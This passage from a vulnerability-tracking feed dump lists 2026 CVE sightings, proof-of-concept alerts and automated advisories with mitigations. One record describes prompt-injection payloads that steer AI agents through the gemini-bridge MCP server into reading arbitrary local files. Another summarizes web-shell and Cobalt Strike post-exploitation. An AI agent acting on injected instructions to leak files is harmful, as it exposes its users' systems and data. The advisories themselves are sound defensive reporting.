\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438\n\nBDU:2026-10699\nCVE-2026-54107\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54107", "creation_timestamp": "2026-08-01T00:00:29.746721Z"}, {"uuid": "8f2531c9-bad0-4d3c-9125-5ca824933931", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/95975", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #POC #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54121-CertiGhost-\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a KrakenEU\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-31 08:04:51\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54121(CertiGhost) without MachineAccountQuota POC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-01T00:00:35.607617Z"}, {"uuid": "39ea6479-2d6f-43fa-8ab7-d118e45e06c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/95978", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54121-CertiGhost\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a KrakenEU\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-31 08:30:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54121(CertiGhost) without MachineAccountQuota POC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-01T00:00:34.588818Z"}, {"uuid": "2adf45a1-255a-49c2-b19a-1e259edff392", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54785", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/fo7qlqdy3jspp", "content": "CVE-2026-54785 - gemini-bridge vulnerable to arbitrary local file read via consult_gemini_with_files inline mode\nCVE ID : CVE-2026-54785\n \n Published : July 31, 2026, 11:17 p.m. | 31\u00a0minutes ago\n \n Description : gemini-bridge is a lightweight MCP server bridging AI agents to G...", "creation_timestamp": "2026-08-01T00:06:24.484779Z"}, {"uuid": "b78f011e-22ab-460a-a13d-5486f2d6b292", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54909", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/7tqoc6v5cvlvv", "content": "CVE-2026-54909 - Pion STUN vulnerable to remote denial of service via panic while parsing a malformed XOR-MAPPED-ADDRESS attribute\nCVE ID : CVE-2026-54909\n \n Published : July 31, 2026, 11:17 p.m. | 31\u00a0minutes ago\n \n Description : pion/stun is a Go implementation of STUN. Prior...", "creation_timestamp": "2026-08-01T00:12:24.162938Z"}, {"uuid": "a10f00f4-1d87-4f21-ad5c-6583279b189d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54785", "type": "seen", "source": "https://gist.github.com/alon710/dc2fc48bf583407e8cd73eba1edb4959", "content": "# CVE-2026-54785: CVE-2026-54785: Local File Read via Directory Traversal in gemini-bridge MCP Server\n\n> **CVSS Score:** 6.2\n> **Published:** 2026-07-31\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54785\n\n## Summary\nBetween versions 1.0.0 and 1.3.1, the gemini-bridge Model Context Protocol (MCP) server failed to restrict candidate file paths to the workspace root when processing files in inline mode. This allowed unauthenticated local users, or remote attackers executing prompt-injection payloads against connected AI agents, to traverse the directory tree and read arbitrary system files. The retrieved contents were subsequently forwarded to the external Gemini AI CLI and returned in the round-trip response.\n\n## TL;DR\nA path traversal vulnerability in gemini-bridge allows attackers to read arbitrary local files by exploiting improper canonicalization and a missing validation check in the server's inline payload preprocessor.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-22\n- **Secondary CWE ID**: CWE-200\n- **Attack Vector**: Local\n- **CVSS v3.1 Score**: 6.2\n- **Exploit Maturity**: Proof-of-Concept (PoC)\n- **CISA KEV Status**: Not Listed\n- **Ransomware Use**: No\n\n## Affected Systems\n\n- gemini-bridge installations running versions 1.0.0 through 1.3.0\n- **gemini-bridge**: >= 1.0.0, < 1.3.1 (Fixed in: `1.3.1`)\n\n## Mitigation\n\n- Upgrade gemini-bridge to version 1.3.1 or newer.\n- Restrict the service execution environment to low-privilege user accounts.\n- Containerize the MCP server to restrict absolute directory reach.\n- Sanitize client-side tools to override arbitrary directory arguments supplied by LLMs.\n\n**Remediation Steps:**\n1. Execute pip install --upgrade gemini-bridge to retrieve version 1.3.1.\n2. Verify that the active daemon or integration shell is restarted to load the patched mcp_server module.\n3. Run system-level tests with symbolic links and parent traversal targets to confirm the rejection logic.\n\n## References\n\n- [GitHub Security Advisory (GHSA-c5px-58j2-7fqp)](https://github.com/eLyiN/gemini-bridge/security/advisories/GHSA-c5px-58j2-7fqp)\n- [Pull Request #9](https://github.com/eLyiN/gemini-bridge/pull/9)\n- [Fix Commit (8f3b85a)](https://github.com/eLyiN/gemini-bridge/commit/8f3b85afd02b692c4bc974b5176e12fb277ea801)\n- [Release Tag (v1.3.1)](https://github.com/eLyiN/gemini-bridge/releases/tag/v1.3.1)\n- [CVE Record on CVE.org](https://www.cve.org/CVERecord?id=CVE-2026-54785)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54785) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-01T00:31:31.758794Z"}, {"uuid": "019b8c11-3fca-4bda-abe8-4b05200edec0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54910", "type": "published-proof-of-concept", "source": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-vvp7-h4fj-m28w", "content": "", "creation_timestamp": "2026-08-01T00:35:03.865056Z"}, {"uuid": "96e8afea-71f9-4e3c-b1b5-305a938fde14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54768", "type": "published-proof-of-concept", "source": "https://github.com/wp-graphql/wp-graphql/security/advisories/GHSA-jhh7-832h-f8hv", "content": "", "creation_timestamp": "2026-08-01T00:35:06.259371Z"}, {"uuid": "224ca04e-5bef-407d-98a5-0daeeb0d46de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "Telegram/8MACsHHBjvH-w2bDE0n4lckqBSM7-2MqijGfC_zfnUjzr_w", "content": "", "creation_timestamp": "2026-08-04T00:00:10.759189Z"}, {"uuid": "8f362fcb-38f3-4d0b-9469-51721536bc02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54768", "type": "seen", "source": "https://gist.github.com/alon710/662b2c487ba3f86d2983484c0e6fc728", "content": "# CVE-2026-54768: CVE-2026-54768: User Enumeration and Profile Leak in WPGraphQL via Deprecated Field Resolver\n\n> **CVSS Score:** 6.9\n> **Published:** 2026-07-31\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54768\n\n## Summary\nAn observable response discrepancy vulnerability in WPGraphQL versions 2.0.0 through 2.15.0 allows unauthenticated remote attackers to enumerate users and extract public profile metadata. Although the password reset mutation is designed to return a uniform success response to prevent enumeration, a legacy deprecated field resolver bypasses this mechanism by resolving the associated user profile if the target account exists.\n\n## TL;DR\nA deprecated field resolver in WPGraphQL's password reset mutation leaks user existence and profile metadata, undermining anti-enumeration controls.\n\n## Technical Details\n\n- **CWE ID**: CWE-204\n- **Attack Vector**: Network\n- **CVSS v4.0**: 6.9 (Medium)\n- **Exploit Status**: Proof of Concept Available\n- **CISA KEV Status**: Not Listed\n- **Ransomware Association**: No Known Use\n- **Impact**: Unauthenticated Username Enumeration and Metadata Disclosure\n\n## Affected Systems\n\n- WPGraphQL (WordPress Plugin) versions 2.0.0 through 2.15.0\n- **WPGraphQL**: >= 2.0.0, < 2.15.1 (Fixed in: `2.15.1`)\n\n## Mitigation\n\n- Upgrade the WPGraphQL plugin to the non-vulnerable version 2.15.1 or later.\n- Apply a manual code hotfix to prevent the deprecated resolver from processing the internal ID field.\n- Implement WAF rules to block incoming queries matching the enumeration mutation signature.\n\n**Remediation Steps:**\n1. Locate the active installation of WPGraphQL on your WordPress server.\n2. Perform a clean update to version 2.15.1 using the WordPress Admin interface, WP-CLI, or Composer.\n3. If manual hotfixing is necessary, open 'src/Deprecated.php' and locate the 'SendPasswordResetEmailPayload' configuration.\n4. Modify the 'resolve' callback on the 'user' field definition to return null unconditionally.\n5. Open 'src/Mutation/SendPasswordResetEmail.php' and set the returned 'id' field to null in the success payload return array.\n6. Deploy WAF rule pattern 'mutation.*sendPasswordResetEmail.*user\\s*\\{' to reject unauthorized enumeration requests.\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54768) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-01T01:31:13.245707Z"}, {"uuid": "54e2e513-a233-4f5e-9221-4b44291c4a3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5432", "type": "seen", "source": "Telegram/snqalfjRGyeCByylJf6ek_8lwbWnhtUi9PGLk9MnmWsBvV0", "content": "", "creation_timestamp": "2026-08-03T08:00:03.021063Z"}, {"uuid": "58bc27dd-7c96-43d8-bc7c-b02d4b92d0f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/jcastanedacano.bsky.social/post/3mryi3mlsmm2h", "content": "Detecting CVE-2026-54121 (Certighost) with Microsoft Defender", "creation_timestamp": "2026-08-01T03:00:50.148200Z"}, {"uuid": "9436600a-0594-4d54-91b7-c6531fa9d38a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54908", "type": "seen", "source": "https://gist.github.com/alon710/1bc8c607afec88c321177b4e1f89ad03", "content": "# CVE-2026-54908: CVE-2026-54908: Remote Denial of Service via Out-of-Bounds Read in Pion DTLS Handshake Parsing\n\n> **CVSS Score:** 6.3\n> **Published:** 2026-07-31\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54908\n\n## Summary\nCVE-2026-54908 is a Denial of Service (DoS) vulnerability in the Pion DTLS library, where a malformed ServerKeyExchange message triggers an uncaught out-of-bounds slice read panic during handshake unmarshaling, terminating the hosting application process.\n\n## TL;DR\nAn unauthenticated remote attacker can crash any Go application utilizing Pion DTLS prior to v3.1.4 by sending a crafted 2-byte ServerKeyExchange packet during the DTLS handshake using ECDHE_PSK.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-125 (Out-of-bounds Read)\n- **Attack Vector**: Network\n- **CVSS Score**: 6.3 (Medium)\n- **Exploit Status**: PoC Available\n- **CISA KEV Status**: Not Listed\n- **Ransomware Use**: No\n\n## Affected Systems\n\n- Pion DTLS library\n- **Pion DTLS**: < 3.1.4 (Fixed in: `3.1.4`)\n\n## Mitigation\n\n- Disable ECDHE_PSK cipher suites in the DTLS configuration if upgrading is delayed\n- Deploy container restarts and process monitors to quickly recover from runtime crashes\n- Apply network filtering to allow DTLS handshakes only from trusted source IP ranges where possible\n\n**Remediation Steps:**\n1. Open the Go module file (go.mod) in the affected repository\n2. Update the github.com/pion/dtls dependency definition to version v3.1.4\n3. Execute 'go mod tidy' to synchronize the dependency tree and verify the build succeeds\n4. Redeploy the updated application to staging and production environments\n\n## References\n\n- [NVD CVE-2026-54908](https://nvd.nist.gov/vuln/detail/CVE-2026-54908)\n- [GitHub Security Advisory GHSA-wg4g-wm44-ch5j](https://github.com/pion/dtls/security/advisories/GHSA-wg4g-wm44-ch5j)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54908) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-01T03:32:01.381821Z"}, {"uuid": "b7de7c00-b6ce-4bd0-a317-e3d9a19a27e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/96451", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a POC-CVE-2026-54121-Certighost-\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a sam00\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-03 14:42:38\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-04T00:00:32.806519Z"}, {"uuid": "aa57d363-a131-4cd7-839b-6f6be0f2d139", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/96459", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a POC-CVE-2026-54121-Certighost\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a sam00\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-03 15:55:03\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-04T00:00:32.856125Z"}, {"uuid": "cade3cec-46fc-4374-a7b7-8d7e02301f83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54909", "type": "seen", "source": "https://gist.github.com/alon710/402cd5e451c20f1dfc47c5b8f0cf1ddb", "content": "# CVE-2026-54909: CVE-2026-54909: Remote Denial of Service in Pion STUN via Malformed XOR-MAPPED-ADDRESS Attribute\n\n> **CVSS Score:** 5.3\n> **Published:** 2026-07-31\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54909\n\n## Summary\nA remote denial of service vulnerability exists in the pion/stun package before version 3.1.3. A malformed STUN packet containing a short or empty XOR-MAPPED-ADDRESS attribute triggers a runtime slice-bounds panic during parsing, terminating the entire Go process.\n\n## TL;DR\nUnauthenticated malformed STUN packets can trigger a runtime panic in Pion STUN before 3.1.3, causing a denial of service.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-20\n- **Attack Vector**: Network\n- **CVSS v3.1 Score**: 5.3\n- **Impact**: Denial of Service\n- **Exploit Status**: poc\n- **CISA KEV Status**: No\n\n## Affected Systems\n\n- Pion STUN (Go module github.com/pion/stun)\n- Pion TURN (transitive dependency)\n- Pion WebRTC (transitive dependency)\n- Applications acting as WebRTC signaling or media servers using the affected libraries\n- **stun**: < 3.1.3 (Fixed in: `3.1.3`)\n\n## Mitigation\n\n- Upgrade github.com/pion/stun to version 3.1.3 or later\n- Filter out malformed STUN packets at the network layer using an IDS/IPS or firewall rule\n- Audit downstream imports (such as pion/turn or pion/webrtc) to ensure they resolve to the fixed version of pion/stun\n\n**Remediation Steps:**\n1. Open the go.mod file of the affected project\n2. Run 'go get github.com/pion/stun/v3@v3.1.3'\n3. Run 'go mod tidy' to update downstream dependencies\n4. Recompile and redeploy the application\n\n## References\n\n- [GitHub Security Advisory GHSA-34rh-wp3j-6cxc](https://github.com/pion/stun/security/advisories/GHSA-34rh-wp3j-6cxc)\n- [Pion STUN Pull Request 278](https://github.com/pion/stun/pull/278)\n- [Fix Commit fa9f074a](https://github.com/pion/stun/commit/fa9f074a33a8059c76c960b1fbee39f308002423)\n- [Pion STUN v3.1.3 Release](https://github.com/pion/stun/releases/tag/v3.1.3)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54909) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-01T04:31:50.470829Z"}, {"uuid": "284e9ff8-afbd-4271-8397-3db16eca7a67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5432", "type": "published-proof-of-concept", "source": "Telegram/snqalfjRGyeCByylJf6ek_8lwbWnhtUi9PGLk9MnmWsBvV0", "content": "", "creation_timestamp": "2026-08-04T00:00:45.053316Z"}, {"uuid": "2abebc9e-98c6-459b-9565-3fa9765f3355", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54387", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3ms4c2epkfr2c", "content": "tinyproxy: fix CVE-2026-54387, CVE-2026-54388 and CVE-2026-55202\n\nhttps://github.com/NixOS/nixpkgs/pull/547647\n\nhttps://tracker.security.nixos.org/issues/NIXPKGS-2026-1942\n\n#security", "creation_timestamp": "2026-08-02T15:23:25.049454Z"}, {"uuid": "d98bc0e7-14a9-4572-a575-79a30c18482b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54388", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3ms4c2epkfr2c", "content": "tinyproxy: fix CVE-2026-54387, CVE-2026-54388 and CVE-2026-55202\n\nhttps://github.com/NixOS/nixpkgs/pull/547647\n\nhttps://tracker.security.nixos.org/issues/NIXPKGS-2026-1942\n\n#security", "creation_timestamp": "2026-08-02T15:23:25.121702Z"}, {"uuid": "fd4a207f-a5dd-4ce6-a7a4-7096cb4920f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54387", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3ms4dgfstgn2c", "content": "[Backport release-26.05] tinyproxy: fix CVE-2026-54387, CVE-2026-54388 and CVE-2026-55202\n\nhttps://github.com/NixOS/nixpkgs/pull/548448\n\nhttps://tracker.security.nixos.org/issues/NIXPKGS-2026-1942\n\n#security", "creation_timestamp": "2026-08-02T15:48:02.493574Z"}, {"uuid": "3bccd463-7523-4a6d-a99a-bfb1a85ba6ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5434", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmei3zkwn62t", "content": "CVE-2026-5434 - Improper storage of sensitive information\nCVE ID : CVE-2026-5434\n \n Published : May 21, 2026, 9:16 a.m. | 3\u00a0hours, 1\u00a0minute ago\n \n Description : Honeywell Control\nNetwork Module (CNM)\u00a0contains\ninsertion of sensitive information into an unintended directory. An ...", "creation_timestamp": "2026-05-21T13:01:51.425335Z"}, {"uuid": "01bcb103-213e-47cc-9e52-7fcca9bd01c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5433", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmejlbg5wi2v", "content": "CVE-2026-5433 - Improper Sanitization in CNM Web Interface\nCVE ID : CVE-2026-5433\n \n Published : May 21, 2026, 9:16 a.m. | 3\u00a0hours, 1\u00a0minute ago\n \n Description : Honeywell Control\nNetwork Module (CNM)\u00a0contains command injection vulnerability\nin the web interface. An attacker c...", "creation_timestamp": "2026-05-21T13:28:16.352655Z"}, {"uuid": "f979bb08-0715-4326-bd32-6b8cd058cdc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/cerberusit.bsky.social/post/3ms4jq4zt7u2g", "content": "Just what every exhausted sysadmin prayed for: researchers released exploit code on August 02, 2026, for CVE-2026-54121, affectionately dubbed 'Certighost'. This lovely Active Directory Certificate Services flaw hands attackers critical privilege elevation on a silver platter for...\n\nRead full story", "creation_timestamp": "2026-08-02T17:40:52.889676Z"}, {"uuid": "3c9e3be4-7669-4e4a-adb1-5eebce0fddd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "seen", "source": "https://swecyb.com/ap/users/116080658609901341/statuses/116633539838473469", "content": "(google.com) Exploitation of KnowledgeDeliver via ASP.NET ViewState Deserialization Vulnerability Leading to RCE\nCritical zero-day RCE vulnerability (CVE-2026-5426) in KnowledgeDeliver LMS exploited via ASP.NET ViewState deserialization using hardcoded machine keys. Threat actors deployed BLUEBEAM web shell and Cobalt Strike BEACON post-exploitation.\nIn brief - Mandiant uncovered a zero-day RCE flaw in Japan\u2019s KnowledgeDeliver LMS, exploited via identical hardcoded ASP.NET machine keys. Attackers used ViewState deserialization to deploy in-memory web shells and Cobalt Strike, emphasizing risks of shared cryptographic secrets.\nTechnically - CVE-2026-5426 enables unauthenticated RCE via malicious ViewState payloads due to identical `machineKey` values in `web.config`. Post-exploitation involved BLUEBEAM (in-memory IIS web shell), `icacls` privilege escalation, JavaScript file tampering, and Cobalt Strike BEACON. Detection: monitor Event ID 1316 (ViewState failures), suspicious `w3wp.exe` child processes, and anomalous User-Agents. Remediation: rotate machine keys to unique, strong values and restrict LMS access.\nSource: https://cloud.google.com/blog/topics/threat-intelligence/knowledgedeliver-viewstate-deserialization-vulnerability/\n#Cybersecurity #ThreatIntel", "creation_timestamp": "2026-05-25T07:37:14.765437Z"}, {"uuid": "fc99a307-37b0-4f20-b01e-c0011341ba07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mmoijxbker2n", "content": "@mandiant.com\nActive exploitation of CVE-2026-5426 in KnowledgeDeliver LMS deploys BLUEBEAM web shells & Cobalt Strike.\n-\nIOCs: CVE-2026-5426, 7c1f99dca8e5a7897892f9d224a6495023a2cfd2671697d229d355978c415ed2\n-\n#CVE20265426 #Malware #ThreatIntel", "creation_timestamp": "2026-05-25T12:36:16.296851Z"}, {"uuid": "05e8eb18-0d78-444d-ad00-621a7b40c34e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54088", "type": "seen", "source": "https://t.me/cyberok_news/232", "content": "\u26d4\ufe0f \u0423\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0432 File Browser\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54088 \u0432 File Browser \u2014 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u0430\u043c\u0438 \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441. \u0411\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0431\u044b\u043b \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430 \u0432 NVD 25.06.2026. \n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041e\u0421 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 (Hook Authentication).\n\n\ud83d\udcca \u041c\u0430\u0441\u0448\u0442\u0430\u0431\n\u0421\u041a\u0418\u041f\u0410 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 ~5900 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432 \u0441 File Browser, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0438\u0437\u0432\u043d\u0435 \u0432 \u0420\u0443\u043d\u0435\u0442\u0435. \u0418\u0437 \u043d\u0438\u0445 ~94.9% \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445. \u041e\u0434\u043d\u0430\u043a\u043e \u0434\u043b\u044f 